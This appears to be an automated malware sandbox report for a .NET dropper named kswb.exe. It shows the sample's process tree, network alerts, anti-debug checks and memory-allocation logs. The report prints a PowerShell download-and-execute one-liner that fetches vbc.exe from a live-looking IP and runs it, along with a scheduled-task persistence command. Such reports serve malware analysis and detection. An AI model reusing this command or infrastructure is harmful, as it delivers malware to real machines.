Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 3, 2021, 9:12 a.m.	Sept. 3, 2021, 9:15 a.m.

Size	4.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`9ac22682b4c95a59b075eef78c576260`
SHA256	`b56242ce9875402fca36f6d831072462bcf7b0996c2a98d048455459485ade1d`
CRC32	`A3265354`
ssdeep	`48:6t8ZNeO1ONPo8Jm6lRCQ0o7jhIBpZsjyiv2osgTKePln6EOulZjtGWuqXSfbNtm:tAvmybN79y+jn3TKeNn6KVGBzNt`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) IsPE32 - (no description)

kswb.exe "C:\Users\test22\AppData\Local\Temp\kswb.exe"
2972
- cmd.exe "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
  2084
  - powershell.exe powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')
    2044
  - powershell.exe powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
    2952
    - vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
      1768
      - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp"
        1120
      - vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        412

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
198.23.251.109	Active	Moloch
45.137.22.77	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49204 -> 198.23.251.109:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.101:49204 -> 198.23.251.109:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 198.23.251.109:80 -> 192.168.56.101:49204	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 198.23.251.109:80 -> 192.168.56.101:49204	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 198.23.251.109:80 -> 192.168.56.101:49204	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.101:49212 45.137.22.77:5888	None	None	None

Queries for the computername (14 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:13 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (6 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 3, 2021, 9:12 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:12 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:12 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:12 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:13 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:13 a.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Sept. 3, 2021, 9:13 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1	0
WriteConsoleW Sept. 3, 2021, 9:13 a.m.	buffer: The system cannot find the file specified. console_handle: 0x0000000b	1	1	0

Uses Windows APIs to generate a cryptographic key (50 out of 83 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df130 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f0c00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f0c00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f11b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df210 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df210 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df210 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df210 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df210 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002df210 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f1fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f2040 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f2040 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f2040 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f2350 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f2350 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f23c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8f23c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b90cd50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b90cd50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000423bb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000049ff10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000049ff10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000049ff10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b817870 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b817870 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b817790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b817790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b817790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b817790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 3, 2021, 9:12 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://198.23.251.109/kswb/vbc.exe

Performs some HTTP requests (1 event)

request

GET http://198.23.251.109/kswb/vbc.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 485 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000830000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000bd0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000d50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c66000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b82000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002910000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
